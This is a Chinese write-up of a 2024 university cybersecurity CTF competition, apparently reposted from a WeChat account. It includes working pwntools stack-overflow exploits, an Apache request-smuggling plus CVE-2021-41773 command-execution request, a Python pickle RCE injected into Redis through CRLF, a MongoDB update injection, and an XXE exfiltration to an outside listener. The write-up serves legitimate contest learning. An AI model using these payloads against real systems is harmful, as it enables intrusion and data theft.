赛事详情
为进一步落实建设网络强国和教育强国的战略部署,推动全国高校网络安全管理运维能力提升,培养实战型安全人才,中国教育技术协会决定举办首届高校网络安全管理运维赛。
组织结构
-
指导单位:教育部教育管理信息中心
-
主办单位:中国教育技术协会
-
承办单位:北京大学、上海交通大学
-
支持单位:华为技术有限公司
比赛形式
参赛队员报名通过审核后参加赛前培训,熟悉赛题赛制。比赛分为安全理论赛和实践能力赛两部分,各占50%比重。安全理论赛采用标准化理论考试形式,通过300道客观题的标准化测试完成。实践能力赛采用线上“夺旗赛”(CTF)形式,解题提交Flag得分。比赛结束后8小时内,参赛队需提交详细解题过程报告,审核后确定最终得分和排名。竞赛进行严格的作弊审查,对发现作弊行为的高校取消比赛成绩并公开通报。
以下排版为构思排版,不喜勿看
Misc
签到
弱智题,挨个抠字眼即可
flag{have-a-nice-competition}
钓鱼邮件识别
Flag1
Flag2
Flag3
最后记录在dns里边,主办方挺会玩
default._domainkey.foobar-edu-cn.com
v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8GgKsT+XBbAEBi0DlAX2ddQz5YOeiftZt5IvksHPnJqzv/Ckp5Iu8fWnPFXOGN7nPJtIvFDsWzW65FXXUVRjMntfcBNt97legXk/95dXAUMzG2i3 flag_part2=_Kn0wH0wt0_ qMcXGK+?+OwIDAQAB
_dmarc.foobar-edu-cn.com
v=DMARC1; p=quarantine; rua=mailto:[email protected]; ruf=mailto:dmarc_frf@flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}
easyshell
默认密钥:e45e329feb5d925b
Gateway
找到配置文件后直接梭哈
byd直接凯撒就行了,写nm算法
def decode_ascii(encoded_str):
substrings = encoded_str.split('&')
decoded_str = ""
for substring in substrings:
decoded_str += chr(int(substring))
return decoded_str
encoded_string = "106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129"
decoded_string = decode_ascii(encoded_string)
decoded_string
flag{ad1985868133e8cf1828cb84adbe5a5b}
zip
x7f 删除掉前面64个就行了
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe", "wsl"],
os = "linux",
arch ='amd64',
#arch = "i386",
log_level='debug'
)
#elf = ELF('')
#io = process('')
#libc = ELF("")
io = remote("prob03.contest.pku.edu.cn",10003)
def debug():
gdb.attach(io)
pause()
#code here
token = b'12:MEYCIQCjxXwZEIwqtN9GfHHUXdfYZ0xCG5zm4IbBiLdbWJqCUgIhAOa90wp0BIZzVPYMuK8dmGn5Ip5lc1n5drWo6ouCjiRK'
flag = b'flag{'
io.sendlineafter(b'Please input your token: ',token)
io.sendlineafter(b'your token:n',token[0:64]+b'x7f'*64+flag)
io.sendlineafter(b'your flag:',flag)
io.recvuntil(b'flag: flag{')
io.interactive()
Apache
http请求走私+CVE-2021-41773
POST /nc HTTP/2
Host: prob01-d8iu3rnm.contest.pku.edu.cn
Cookie: anticheat_canary=yowlgtiqwn
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 618
port=80&data=POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
echo;cat /flag Content-Type: text/plain; echo; id; cat /flag
f or r
https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html
根据这个文章,把cab先提取出来,提取到最后f和r下都有curl.exe
https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/updt/2024/01/windows10.0-kb5034203-x64_14f2cba156944cea66379d78c305f5aa5a6517e7.msu
用这个的curl进行版本回滚
再利用作者的delta_patch.py
得出flag
flag{dc1d03c554150acedca6d71ce394}
Web
phpsql
非预期
pyssrf
利用CVE-2019-9947的CRLF注入向redis写入数据,然后再访问。
import requests
import pickle
import base64
class Exp():
def __reduce__(self):
return (eval, ('__import__("os").popen("cat /flag").read().encode()',))
exp = Exp()
exp1 = base64.b64encode(pickle.dumps(exp))
url = "https://prob05-bocy6ac8.contest.pku.edu.cn/?url=127.0.0.1:6379/?q=HTTP/1.1rnSET f45ae74caebbddb0e81fb99d22393084 "+exp1.decode()+"rnHeader2:rn"
r = requests.get(url)
print(r.text)
Messy Mongo
关键位置位于如下:
app.patch('/api/login', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
const newname = delta['username']
assert.notEqual(newname, 'admin')
await users.updateOne({ username: user }, [{ $set: delta }])
if (newname) {
await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
}
return c.json(0)
})
FLAG在数据库中,大概考点就是注入,在这个逻辑中可以修改用户名为admin,然后再登陆。
在这里存在有如下判断,需要绕过。
assert.notEqual(newname, 'admin')
因为代码中没有类似于其它位置基于类型的判断,也就是说这里可以传入对象。
只需要知道$set之后可以跟的表达式,如下:
由于只需要绕过admin,所以利用concat拼接的方式就可以,利用如下:
修改成功之后直接登陆就可以。
查看一下flag
fileit
存在提示:
$creds = simplexml_import_dom($dom);
猜测开启了php://input,也就是说我们不用带参数发送数据即可,构造dtd实体发送exp即可,远程服务器先放一个
然后bp构造payload发包等待回显
最后得到
Listening on 0.0.0.0 12341
^[Connection received on 115.27.246.59 42728
GET /ZmxhZ3tsS2FzRGtKbGtBbGttfQo= HTTP/1.0
Host: 101.43.122.252:12341
Connection: close
base64解码
flag{lKasDkJlkAlkm}
Reverse
easyre
base64换表
babyre
z3 直接梭哈 注意一下v8即可
from z3 import *
solver = Solver()
v5 = BitVec("v5", 32)
v6 = BitVec("v6", 32)
v7 = BitVec("v7", 32)
v8 = BitVec("v8", 32)
solver.add(v5 - 0xADB1D018 == 0x36145344)
solver.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)
solver.add(v7 < 0x10000000)
solver.add(v7 > -0x10000000)
solver.add(
4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))
+ -3 * (~v7 | 0xA8453437)
+ 3 * ~(v7 | 0xA8453437)
- (-10 * (v7 & 0xA8453437) + (v7 ^ 0xA8453437))
== 551387557
)
solver.add(v8 < 0x10000000)
solver.add(v8 > -0x10000000)
solver.add(
11 * ~(v8 ^ 0xE33B67BD)
+ 4 * ~(~v8 | 0xE33B67BD)
- (6 * (v8 & 0xE33B67BD) + 12 * ~(v8 | 0xE33B67BD))
+ 3 * (v8 & 0xD2C7FC0C)
+ -5 * v8
- 2 * ~(v8 | 0xD2C7FC0C)
+ ~(v8 | 0x2D3803F3)
+ 4 * (v8 & 0x2D3803F3)
- -2 * (v8 | 0x2D3803F3)
== -837785892
)
solution = solver.model()
print("flag", end="{")
print("%08x" % solution[v5].as_long(), end="-")
print("%08x" % solution[v6].as_long(), end="-")
print("%08x" % solution[v7].as_long(), end="-")
print("%08x" % solution[v8].as_long(), end="}")
Pwn
Login
换一种附件下载方式
然后就是简单的栈溢出ret2backdoor了
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe", "wsl"],
os = "linux",
arch ='amd64',
#arch = "i386",
log_level='debug'
)
elf = ELF('./pwn')
#io = process('./pwn')
#libc = ELF("")
io = remote("prob04.contest.pku.edu.cn",10004)
def debug():
gdb.attach(io,'''
b *0x4014BE
''')
pause()
#code here
#debug()
token = b'12:MEYCIQCjxXwZEIwqtN9GfHHUXdfYZ0xCG5zm4IbBiLdbWJqCUgIhAOa90wp0BIZzVPYMuK8dmGn5Ip5lc1n5drWo6ouCjiRK'
io.sendlineafter('Please input your token: ',token)
io.sendlineafter('Username: ','admin')
### get elf
# io.sendlineafter('Password: ','1q2w3e4r')
# io.recvuntil(b'x7fELF')
# with open('pwn','wb') as f:
# f.write(b'x7fELF')
# elf = io.recvall()
# f.write(elf)
### attack
offset = 152
ret_addr = 0x40101a
backdoor_addr = 0x401276
payload = cyclic(offset) + p64(ret_addr) + p64(backdoor_addr)
io.sendlineafter('Password: ',payload)
io.interactive()
babypwn
栈溢出 注意一下栈对齐 改一下 backdoor_addr的地址就对齐了
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe", "wsl"],
os = "linux",
arch ='amd64',
#arch = "i386",
log_level='debug'
)
elf = ELF('./pwn')
#io = process('./pwn')
#libc = ELF("")
io = remote("prob07.contest.pku.edu.cn",10007)
def debug():
gdb.attach(io,'''
b *0x40118C
b *0x4011e4
b *0x40121d
''')
pause()
backdoor_addr = 0x40117A
payload = cyclic(56)+p64(backdoor_addr)
io.sendlineafter(b"token: ",b'12:MEYCIQCjxXwZEIwqtN9GfHHUXdfYZ0xCG5zm4IbBiLdbWJqCUgIhAOa90wp0BIZzVPYMuK8dmGn5Ip5lc1n5drWo6ouCjiRK')
io.sendlineafter(b"username: ",cyclic(32))
io.sendafter(b"Enter the password: ",payload)
io.interactive()
Algorithm
secretbit
利用bytes_to_long将flag的每一位都转换成0/1
对于每一位,都要找出一个对应的(m0,n0),(m1,n1)
然后要求满足abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5
首先对01的泄漏列表进行求和,设置为SUM
基于一个假设,即泄露结果SUM应该更接近于正确的(m,n)对(即与原始二进制位bi
相对应的(m, n)
对)生成的泄露结果
比较m0,n0/m1,n1哪个更接近SUM,来推断该位实际上是0还是1
from Crypto.Util.number import *
from tqdm import tqdm
import random
def instance(m, n):
start = list(range(m))
random.shuffle(start)
for i in range(m):
now = start[i]
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
return message
#data.txt
leak_flag =
flag = ''
for i in range(len(leak_flag)):
flag_i = leak_flag[i]
m0n0 = flag_i[0]
m1n1 = flag_i[1]
SUM = sum(flag_i[2])
SUM_m0n0 = sum(leak(m0n0[0],m0n0[1]))
SUM_m1n1 = sum(leak(m1n1[0],m1n1[1]))
if abs(SUM_m0n0-SUM) > abs(SUM_m1n1-SUM):
flag += '1'
else: flag += '0'
print(flag)
原文始发于微信公众号(Gh0xE9):2024高校网络安全管理运维赛部分Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论